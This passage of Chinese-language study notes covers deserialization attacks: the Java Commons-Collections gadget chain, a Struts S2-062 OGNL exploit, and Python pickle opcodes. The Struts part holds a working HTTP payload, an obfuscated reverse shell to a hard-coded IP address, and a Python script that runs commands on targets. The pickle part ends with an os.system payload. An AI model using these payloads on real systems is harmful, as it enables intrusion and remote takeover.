这个类创建实例时,需要传入一个 Transformer 数组,该类的功能就是遍历执行 Transformer 数组的 transform 函数,并且将上一次的 transform 函数的执行结果作为下一次 transform 的输入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public class ChainedTransformer implements Transformer , Serializable { static final long serialVersionUID = 3514945074733160196L ; private final Transformer[] iTransformers; public ChainedTransformer (Transformer[] transformers) { this .iTransformers = transformers; } public Object transform (Object object) { for (int i = 0 ; i < this .iTransformers.length; ++i) { object = this .iTransformers[i].transform(object); } return object; }
3.ConstantTransformer
这个类的作用就是保存一个对象而已,创建实例时需要传入一个需要保存的对象,调用实例的 transform 即可获得其中的对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public class ConstantTransformer implements Transformer , Serializable { static final long serialVersionUID = 6374440726369055124L ; public static final Transformer NULL_INSTANCE = new ConstantTransformer ((Object)null ); private final Object iConstant; public ConstantTransformer (Object constantToReturn) { this .iConstant = constantToReturn; } public Object transform (Object input) { return this .iConstant; } public Object getConstant () { return this .iConstant; } }
到这里,三个 Transformer 其实就可以连接起来了,先创建一个 Transformer 数组,用 ConstantTransformer 起手,传入一个对象,用 InvokeTransformer 一步一步调用函数,再将数组传入 ChainedTransformer,调用其 transform 函数。
测试代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;public class TransTest2 { public static void main (String[] args) { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ( "getMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,new Class [0 ]} ), new InvokerTransformer ("invoke" , new Class [] {Object.class, Object[].class }, new Object [] {null , null } ), new InvokerTransformer ("exec" , new Class [] {String.class }, new Object [] {"Calc.exe" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); chainedTransformer.transform(null ); } }
4.TransformedMap
TransformedMap 这个类中封装了一个 decorate 方法,它是用来修饰 Java 中的标准数据结构 Map,当向被修饰过的 Map 中添加新元素时,它就会执行一个回调函数;这个回调并不是传统意义上的回调函数,而是相当于执行一个对象里面的 transform 方法,前提是这个对象的类要实现了 Transformer 接口。
key 和 value 都是 transform 的子类,keyTransformer 是处理新元素的 Key 的回调,valueTransformer 是处理新元素的 value 的回调,当我们向 outerMap 中添加新元素时,它就会调用 keyTransformer 或者 valueTransformer 里面的 transform 方法。
checkSetValue 自动执行 value 中的 transform 子类对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable { private static final long serialVersionUID = 7023152376788900464L ; protected final Transformer keyTransformer; protected final Transformer valueTransformer; public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap (map, keyTransformer, valueTransformer); } protected TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer) { super (map); this .keyTransformer = keyTransformer; this .valueTransformer = valueTransformer; } protected Object checkSetValue (Object value) { return this .valueTransformer.transform(value); }
5.AbstractInputCheckedMapDecorator
通过 setValue 调用 checkSetValue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator { protected AbstractInputCheckedMapDecorator () { } static class MapEntry extends AbstractMapEntryDecorator { private final AbstractInputCheckedMapDecorator parent; protected MapEntry (Entry entry, AbstractInputCheckedMapDecorator parent) { super (entry); this .parent = parent; } public Object setValue (Object value) { value = this .parent.checkSetValue(value); return super .entry.setValue(value); } }
map 中的元素在增加删除修改的时候会调用 setValue 方法
6.AnnotationInvocationHandler
重写了 readobject,调用了 setValue 方法进行了键值修改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { ObjectInputStream.GetField fields = s.readFields(); ... throw new java .io.InvalidObjectException("Non-annotation type in annotation serial stream" ); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); Map<String, Object> mv = new LinkedHashMap <>(); for (Map.Entry<String, Object> memberValue : streamVals.entrySet()) { String name = memberValue.getKey(); Object value = null ; Class<?> memberType = memberTypes.get(name); if (memberType != null ) { value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } } } }
此时如果某台服务器上,开了一个服务,接受 java 序列化字节码,并且使用 ObjectInputStream.readObject 方法进行反序列化,那么我们构造的恶意代码就可以执行
(70 条消息) 漫谈 Commons-Collections 反序列化_夏日清 1 的博客 - CSDN 博客
commons-collections 利用链学习总结 - bitterz - 博客园 (cnblogs.com)
讲都讲了,struts 一起讲了吧,凑个 java 大圆满~
# struts 2 反序列化
SSH/SSM
Spring 管理 bean
Struts 提供地址映射
hibernate 持久层 / mybatis
配置 tomcat
漏洞影响版本
2.0.0 <= Apache Struts <= 2.5.29
使用 %{} 解析 OGNL 表达式
http://192.168.142.128:18080/index.action?id=%
会执行 {} 内的内容,在网页源码中显示 36
payload:
执行 id
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 POST /index.action HTTP/1.1 Host: 192.168.142.128:18080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Cookie: JSESSIONID=node01c863u8lzu8eyn099a51bjyie0.node0 Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF Content-Length: 1191 ------WebKitFormBoundaryl7d1B1aGsV2wcZwF Content-Disposition: form-data; name="id" %{ (#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) + (#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) + (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'})) }------WebKitFormBoundaryl7d1B1aGsV2wcZwF—
1 2 3 4 5 <body> This is my JSP page. <br> <s:a id="%{id}" href="onlytest">J2EE web development tutorials</s:a> </body> //回显位置再id中
或者建立反弹连接,只需要修改最后一行
1 (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny4xMDYuOC4xNzUvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}'}))
python 脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import requests from lxml import etree import argparse def poc(url): try: headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Connection": "close", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF"} data = "------WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n%{\r\n(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\r\n(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\r\n(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))\r\n}\r\n------WebKitFormBoundaryl7d1B1aGsV2wcZwF\xe2\x80\x94" text=requests.post(url, headers=headers, data=data).text if "id" in text: print("发现漏洞") page=etree.HTML(text) data = page.xpath('//a[@id]/@id') print(data[0]) except: print("POC检测失败") def EXP(url,cmd): try: headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", "Connection": "close", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF"} data ="------WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n%{\r\n(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\r\n(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\r\n(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'id'}))\r\n}\r\n------WebKitFormBoundaryl7d1B1aGsV2wcZwF\xe2\x80\x94".replace("exec({'id","exec({'"+cmd) text=requests.post(url, headers=headers, data=data).text if "id" in text: print("命令回显") page=etree.HTML(text) data = page.xpath('//a[@id]/@id') print(data[0]) except: print("EXP检测失败") if __name__ == '__main__': parser = argparse.ArgumentParser(description='S2-062验证') parser.add_argument('--url', help="要验证的URL") parser.add_argument('--cmd',help="你想执行的命令",default="") args = parser.parse_args() if args.cmd !="": EXP(args.url,args.cmd) else: poc(args.url)
s2-062.py --url http://192.168.142.128:18080
s2-062.py --url http://192.168.142.128:18080 --cmd whoami
OGNI 表达式
一种开源的 Java 表达式语言
用于对数据进行访问,拥有类型转换、访问对象方法、操作集合对象等功能
1、OGNL 是 Struts 默认支持的表达式语言
2、OGNL 可以取值赋值、访问类的静态方法和属性
3、访问 OGNL 上下文。Struts 的上下文根对象:ValueStack
4、%{} 用来把字符串转换成表达式
%25 就是 URL 编码的 %
5、可以在 struts.xml 和 struts 标签等地方使用 OGNL 表达式
漏洞分析
项目使用了 %{} 解析 OGNL 表达式,对用户输入的内容进行二次解析的时候,如果没有验证,可能导致远程代码执行
InstanceManager:用于实例化任意对象
BeanMap:可以调用对象的 getter、setter,
setBean () 可以更新对象
valueStack:ONGL 的根对象
memberAccess:控制对象的访问
setExcludedPackageNames()
setExcludedClasses () 清除黑名单
Execute 类:黑名单类,exec 可以执行 Shell
用 Beanmap 获取 valueStack,清空黑名单,setBean 更新生效,实例化 exec 类执行代码
黑名单内容:
`
`
struct061 和 struct062payload 区别
#request.map=#application.get(‘org.apache.tomcat.InstanceManager’).newInstance(‘org.apache. commons.collections.BeanMap’)).toString().substring(0,0)
s2-062 改成了:
#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0)
# 3.python
python 反序列化和 php 反序列化类似,相当于把程序运行时产生的变量,字典,对象实例等变换成字符串形式存储起来,可以实现内存中的对象与方便持久化在磁盘中或在网络中进行交互的数据格式(str、bites) 之间的相互转换。
Python 中提供 pickle 和 json 两个模块来实现序列化与反序列化,pickle 模块和 json 模块 dumps ()、dump ()、loads ()、load () 这是个函数,其中 dumps ()、dump () 用于实现序列化,loads ()、load () 用于实现反序列化。
# pickle
python 中 pickle 反序列化的库主要有两个, pickle 和 cPickle
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import pickle a_list = ['a','b','c'] # pickle构造出的字符串,有很多个版本。在dumps或loads时,可以用Protocol参数指定协议版本,例如指定为0号版本 # 目前这些协议有0,2,3,4号版本,默认为3号版本。这所有版本中,0号版本是人类最可读的;之后的版本加入了一大堆不可打印字符,不过这些新加的东西都只是为了优化,本质上没有太大的改动。 # 一个好消息是,pickle协议是向前兼容的。0号版本的字符串可以直接交给pickle.loads(),不用担心引发什么意外。 序列化:dumps()、dump() 反序列化:loads()、load() # pickle.dumps将对象序列化为字符串 # pickle.dump将序列化后的字符串存储为文件 print(pickle.dumps(a_list,protocol=0)) pickle.loads() #对象反序列化 pickle.load() #对象反序列化,从文件中读取数据
对象序列化与反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 import pickle list1 = ['aa','bb','cc',True,199] print(pickle.dumps(list1,protocol=0)) print(pickle.dumps(list1,protocol=2)) print(pickle.dumps(list1,protocol=3)) print(pickle.dumps(list1,protocol=4)) b'(lp0\nVaa\np1\naVbb\np2\naVcc\np3\naI01\naI199\na.' b'\x80\x02]q\x00(X\x02\x00\x00\x00aaq\x01X\x02\x00\x00\x00bbq\x02X\x02\x00\x00\x00ccq\x03\x88K\xc7e.' b'\x80\x03]q\x00(X\x02\x00\x00\x00aaq\x01X\x02\x00\x00\x00bbq\x02X\x02\x00\x00\x00ccq\x03\x88K\xc7e.' b'\x80\x04\x95\x17\x00\x00\x00\x00\x00\x00\x00]\x94(\x8c\x02aa\x94\x8c\x02bb\x94\x8c\x02cc\x94\x88K\xc7e.'
1 2 3 4 5 import pickle print(pickle.loads(b'\x80\x04\x95\x0b\x00\x00\x00\x00\x00\x00\x00]\x94(K\x01K\x02K\x03e.')) [1, 2, 3]
文件中序列化
1 2 3 4 5 6 import pickle list1 = ['aa','bb','cc',True,199] with open("shabi.txt",'wb') as f: pickle.dump(list1,f,protocol=0)
`
1 2 3 4 5 import pickle file=open("shabi.txt","rb") p=pickle.load(file) file.close() print(p)
`
v0 版协议是原始的 “人类可读” 协议,并且向后兼容早期版本的 Python。
v1 版协议是较早的二进制格式,它也与早期版本的 Python 兼容。
v2 版协议是在 Python 2.3 中引入的。它为存储 new-style class 提供了更高效的机制。欲了解有关第 2 版协议带来的改进,请参阅 PEP 307。
v3 版协议添加于 Python 3.0。它具有对 bytes 对象的显式支持,且无法被 Python 2.x 打开。这是目前默认使用的协议,也是在要求与其他 Python 3 版本兼容时的推荐协议。
v4 版协议添加于 Python 3.4。它支持存储非常大的对象,能存储更多种类的对象,还包括一些针对数据格式的优化。有关第 4 版协议带来改进的信息,请参阅 PEP 3154。
另外有一点需要注意:对于我们自己定义的 class,如果直接以形如 date = 20191029 的方式赋初值,** 则这个 date 不会被打包!** 解决方案是写一个 __init__ 方法, 也就是这样:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import pickleclass dairy (): date = 1111111 text = 'sb' todo = ['zz' ,123 ] x = dairy() print (pickle.dumps(x))class dairy (): def __init__ (self ): self.date = 1111111 self.text = 'sb' self.todo = ['zz' ,123 ] x = dairy() print (pickle.dumps(x))
# json
与 pickle 一样,json 模块也提供了 dumps ()、dump ()、loads ()、load () 则是个函数,且其中区别也与 pickle 中是个函数的区别是一样的。
1 2 3 4 5 6 7 8 9 import json p_dict = {'name':'张三' , 'age':30 , 'isMarried':False} # 定义一个字典 p_str = json.dumps(p_dict) print(p_str) {"name": "\u5f20\u4e09", "age": 30, "isMarried": false} json的dumps()函数(dump()函数也有)中提供了一个ensure_ascii参数,将该参数的值设置为False,可令序列化后中文依然正常显示。
1 2 3 4 5 6 import json str1 = '{"name": "\u5f20\u4e09", "age": 30, "isMarried": false}' print(json.loads(str1)) {'name': '张三', 'age': 30, 'isMarried': False}
json.dump 与 json.load 功能和 pickle 中基本一样,序列化到文件中,从文件中反序列化,不在举例
json 与 pickle 区别
pickle 模块用于 Python 语言特有的类型和用户自定义类型与 Python 基本数据类型之间的转换
json 模块用于字符串和 python 数据类型间进行转换。
定义 person 类
1 2 3 4 5 6 class Person: def __init__(self , name , age , isMarried): self.name = name self.age = age self.isMarried = isMarried p = Person('张三' , 30 , False)
1 2 3 4 5 6 7 8 9 10 11 p = Person('张三' , 30 , False) import pickle pp = pickle.dumps(p) type(pp) #<class 'bytes'> print(pp) #b'\x80\x03c__main__\nPerson\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x06\x00\x00\x00\xe5\xbc\xa0\xe4\xb8\x89q\x04X\x03\x00\x00\x00ageq\x05K\x1eX\t\x00\x00\x00isMarriedq\x06\x89ub.' p2 = pickle.loads(pp) type(p2) #<class '__main__.Person'> p2.name #'张三'
甚至 pickle 模块还能够对 Peron 本身进行序列化:
1 2 3 4 per = pickle.dumps(Person) print(per) #b'\x80\x03c__main__\nPerson\nq\x00.' per2 = pickle.loads(per) print(per2) #<class '__main__.Person'>
如果用 json 对 Person 实例对象进行序列化,就会报错:
1 2 3 4 5 6 7 8 import json p = Person('张三' , 30 , False) json.dumps(p) Traceback (most recent call last): File "<pyshell#49>", line 1, in <module> json.dumps(p) …… TypeError: Object of type 'Person' is not JSON serializable
如果非要用 json 对 Person 对象进行序列化,必须先定义一个将 Person 对象转化为字典(dict) 的方法 :
1 2 3 4 5 6 7 8 9 10 11 12 13 def person2dict(per): return { 'name':per.name , 'age':per.age , 'isMarried':per.isMarried } p3 = json.dumps(p , default=person2dict) type(p3) #<class 'str'> print(p3) # '{"name": "\\u5f20\\u4e09", "age": 30, "isMarried": false}' p3 = json.dumps(p , default=person2dict , ensure_ascii=False) type(p3) #<class 'str'> print(p3) # '{"name": "张三", "age": 30, "isMarried": false}'
当然,也不能直接进行反序列化,不然也只会得到一个字典:
此时,也要定义一个将字典转换为 Person 类实例的方法,在进行反序列化:
1 2 3 4 5 def dict2person(d): return Person(d['name'],d['age'],d['isMarried']) p5 = json.loads(p3 , object_hook=dict2person) type(p5) #<class '__main__.Person'> print(p5.name) #'张三'
(2)pickle 序列化结果为 bites 类型,只适合于 Python 机器之间的交互。
json 序列化结果为 str 类型,能够被多种语言识别,可用于与其他程序设计语言交互。
JSON 和 Python 内置的数据类型对应如下:
JSON 类型
Python 类型
{}
dict
[]
list
“string”
‘str’或 u’unicode’
1234.56
int 或 float
true/false
True/False
null
None
(1)序列化与反序列化是为了解决内存中对象的持久化与传输问题;
(2)Python 中提供了 pickle 和 json 两个模块进行序列化与反序列化;
(3)dumps () 和 dump () 用于序列化,loads () 和 load () 用于反序列化;
(4)pickle 模块能序列化任何对象,序列化结果为 bites 类型,只适合于 Python 机器之间交互;
json 模块只能序列化 Python 基本类型,序列化结果为 json 格式字符串,适合不同开发语言之间交互。
https://cloud.tencent.com/developer/article/1575681
# 反序列化流程分析
直接分析反序列化出的字符串是比较困难的,我们可以使用 pickletools 帮助我们进行分析
pickletools 是 python 自带的 pickle 调试器,有三个功能:反汇编 一个已经被打包的字符串、优化 一个已经被打包的字符串、返回一个迭代器来供程序使用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import pickletools import pickle a_list = ['a','b','c'] a_list_pickle = pickle.dumps(a_list,protocol=0) print(a_list_pickle) print('------------------') # 优化一个已经被打包的字符串 a_list_pickle = pickletools.optimize(a_list_pickle) print(a_list_pickle) print('------------------') # 反汇编一个已经被打包的字符串 pickletools.dis(a_list_pickle)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 b'(lp0\nVa\np1\naVb\np2\naVc\np3\na.' ------------------ b'(lVa\naVb\naVc\na.' ------------------ 0: ( MARK 1: l LIST (MARK at 0) 2: V UNICODE 'a' 5: a APPEND 6: V UNICODE 'b' 9: a APPEND 10: V UNICODE 'c' 13: a APPEND 14: . STOP highest protocol among opcodes = 0
pickletools 指令集
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 MARK = b'(' # push special markobject on stack STOP = b'.' # every pickle ends with STOP POP = b'0' # discard topmost stack item POP_MARK = b'1' # discard stack top through topmost markobject DUP = b'2' # duplicate top stack item FLOAT = b'F' # push float object; decimal string argument INT = b'I' # push integer or bool; decimal string argument BININT = b'J' # push four-byte signed int BININT1 = b'K' # push 1-byte unsigned int LONG = b'L' # push long; decimal string argument BININT2 = b'M' # push 2-byte unsigned int NONE = b'N' # push None PERSID = b'P' # push persistent object; id is taken from string arg BINPERSID = b'Q' # " " " ; " " " " stack REDUCE = b'R' # apply callable to argtuple, both on stack STRING = b'S' # push string; NL-terminated string argument BINSTRING = b'T' # push string; counted binary string argument SHORT_BINSTRING= b'U' # " " ; " " " " < 256 bytes UNICODE = b'V' # push Unicode string; raw-unicode-escaped'd argument BINUNICODE = b'X' # " " " ; counted UTF-8 string argument APPEND = b'a' # append stack top to list below it BUILD = b'b' # call __setstate__ or __dict__.update() GLOBAL = b'c' # push self.find_class(modname, name); 2 string args DICT = b'd' # build a dict from stack items EMPTY_DICT = b'}' # push empty dict APPENDS = b'e' # extend list on stack by topmost stack slice GET = b'g' # push item from memo on stack; index is string arg BINGET = b'h' # " " " " " " ; " " 1-byte arg INST = b'i' # build & push class instance LONG_BINGET = b'j' # push item from memo on stack; index is 4-byte arg LIST = b'l' # build list from topmost stack items EMPTY_LIST = b']' # push empty list OBJ = b'o' # build & push class instance PUT = b'p' # store stack top in memo; index is string arg BINPUT = b'q' # " " " " " ; " " 1-byte arg LONG_BINPUT = b'r' # " " " " " ; " " 4-byte arg SETITEM = b's' # add key+value pair to dict TUPLE = b't' # build tuple from topmost stack items EMPTY_TUPLE = b')' # push empty tuple SETITEMS = b'u' # modify dict by adding topmost key+value pairs BINFLOAT = b'G' # push float; arg is 8-byte float encoding TRUE = b'I01\n' # not an opcode; see INT docs in pickletools.py FALSE = b'I00\n' # not an opcode; see INT docs in pickletools.py
将上面的输出对照翻译
1 2 3 4 5 6 7 8 9 10 11 b'\x80\x03](X\x01\x00\x00\x00aX\x01\x00\x00\x00bX\x01\x00\x00\x00ce.' 0: \x80 PROTO 3 #标明使用协议版本 2: ] EMPTY_LIST #将空列表压入栈 3: ( MARK #将标志压入栈 4: X BINUNICODE 'a' #unicode字符 10: X BINUNICODE 'b' 16: X BINUNICODE 'c' 22: e APPENDS (MARK at 3) #将3号标志后的数据压入列表 # 弹出栈中的数据,结束流程 23: . STOP highest protocol among opcodes = 2
我们再来看另一个更复杂的例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import pickle import pickletools import base64 class a_class(): def __init__(self): self.age = 114514 self.name = "QAQ" self.list = ["1919","810","qwq"] a_class_new = a_class() a_class_pickle = pickle.dumps(a_class_new,protocol=3) print(a_class_pickle) # 优化一个已经被打包的字符串 a_list_pickle = pickletools.optimize(a_class_pickle) print(a_class_pickle) # 反汇编一个已经被打包的字符串 pickletools.dis(a_class_pickle)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 b'\x80\x03c__main__\na_class\nq\x00)\x81q\x01}q\x02(X\x03\x00\x00\x00ageq\x03JR\xbf\x01\x00X\x04\x00\x00\x00nameq\x04X\x03\x00\x00\x00QAQq\x05X\x04\x00\x00\x00listq\x06]q\x07(X\x04\x00\x00\x001919q\x08X\x03\x00\x00\x00810q\tX\x03\x00\x00\x00qwqq\neub.' b'\x80\x03c__main__\na_class\nq\x00)\x81q\x01}q\x02(X\x03\x00\x00\x00ageq\x03JR\xbf\x01\x00X\x04\x00\x00\x00nameq\x04X\x03\x00\x00\x00QAQq\x05X\x04\x00\x00\x00listq\x06]q\x07(X\x04\x00\x00\x001919q\x08X\x03\x00\x00\x00810q\tX\x03\x00\x00\x00qwqq\neub.' 0: \x80 PROTO 3 # push self.find_class(modname, name); 连续读取两个字符串作为参数,以\n为界 # 这里就是self.find_class(‘__main__’, ‘a_class’); # 需要注意的版本不同,find_class函数也不同 2: c GLOBAL '__main__ a_class' # 不影响反序列化 20: q BINPUT 0 # 向栈中压入一个元组 22: ) EMPTY_TUPLE # 见pickletools源码第2097行(注意版本) # 大意为,该指令之前的栈内容应该为一个类(2行GLOBAL创建的类),类后为一个元组(22行压入的TUPLE),调用cls.__new__(cls, *args)(即用元组中的参数创建一个实例,这里元组实际为空) 23: \x81 NEWOBJ 24: q BINPUT 1 # 压入一个新的字典 26: } EMPTY_DICT 27: q BINPUT 2 # 一个标志 29: ( MARK # 压入unicode值 30: X BINUNICODE 'age' 38: q BINPUT 3 40: J BININT 114514 45: X BINUNICODE 'name' 54: q BINPUT 4 56: X BINUNICODE 'QAQ' 64: q BINPUT 5 66: X BINUNICODE 'list' 75: q BINPUT 6 77: ] EMPTY_LIST 78: q BINPUT 7 # 又一个标志 80: ( MARK 81: X BINUNICODE '1919' 90: q BINPUT 8 92: X BINUNICODE '810' 100: q BINPUT 9 102: X BINUNICODE 'qwq' 110: q BINPUT 10 # 将第80行的mark之后的值压入第77行的列表 112: e APPENDS (MARK at 80) # 详情见pickletools源码第1674行(注意版本) # 大意为将任意数量的键值对添加到现有字典中 # Stack before: ... pydict markobject key_1 value_1 ... key_n value_n # Stack after: ... pydict 113: u SETITEMS (MARK at 29) # 通过__setstate__或更新__dict__完成构建对象(对象为我们在23行创建的)。 # 如果对象具有__setstate__方法,则调用anyobject .__setstate__(参数) # 如果无__setstate__方法,则通过anyobject.__dict__.update(argument)更新值 # 注意这里可能会产生变量覆盖 114: b BUILD # 弹出栈中的数据,结束流程 115: . STOP highest protocol among opcodes = 2
# 手写 opcode
假设我们想执行如下命令,在内建函数中引用形式如下,如果有一个黑名单禁用 eval ,那么利用 __reduce__ 就不能使用了。
1 builtins.getattr(builtins, 'eval'),('__import__("os").system("whoami")',)
但是在 __reduce__ 生成的序列化字符串,只能执行一个函数,而且在对 open 传参的过程中,程序会报错。
不能正常生成序列化字符串,这就需要手写一个序列化字符串。
一些常见的 code
c :以 c 开始的后面两行的作用类似 os.system 的调用,其中 cos 在第一行, system 在第二行。
( :相当于左括号
t :相当于右括号
S :表示本行的内容一个字符串
R :执行紧靠自己左边的一个括号对(即 ( 和 t 之间)的内容
. :代表该 pickle 结束
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import os import pickletools import pickle class Student(): def __init__(self): self.name = 'secret.name' self.grade = 'secret.grade' # def __reduce__(self): # return (os.system,('dir',)) payload = pickle.dumps(Student(),protocol=0) print(payload) print("--------------") payload = pickletools.optimize(payload) print(payload) print("--------------") pickletools.dis(payload) print("--------------")
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 b'ccopy_reg\n_reconstructor\np0\n(c__main__\nStudent\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nVname\np6\nVsecret.name\np7\nsVgrade\np8\nVsecret.grade\np9\nsb.' -------------- b'ccopy_reg\n_reconstructor\n(c__main__\nStudent\nc__builtin__\nobject\nNtR(dVname\nVsecret.name\nsVgrade\nVsecret.grade\nsb.' -------------- 0: c GLOBAL 'copy_reg _reconstructor' 25: ( MARK 26: c GLOBAL '__main__ Student' 44: c GLOBAL '__builtin__ object' 64: N NONE 65: t TUPLE (MARK at 25) 66: R REDUCE 67: ( MARK 68: d DICT (MARK at 67) 69: V UNICODE 'name' 75: V UNICODE 'secret.name' 88: s SETITEM 89: V UNICODE 'grade' 96: V UNICODE 'secret.grade' 110: s SETITEM 111: b BUILD 112: . STOP highest protocol among opcodes = 0 --------------
再举个例子
1 2 3 4 5 6 7 8 9 10 import pickle import os import pickletools class exp(object): def __reduce__(self): return (os.system,('whoami',)) e = exp() print(s) s = pickle.dumps(e,protocol=0) pickletools.dis(s)
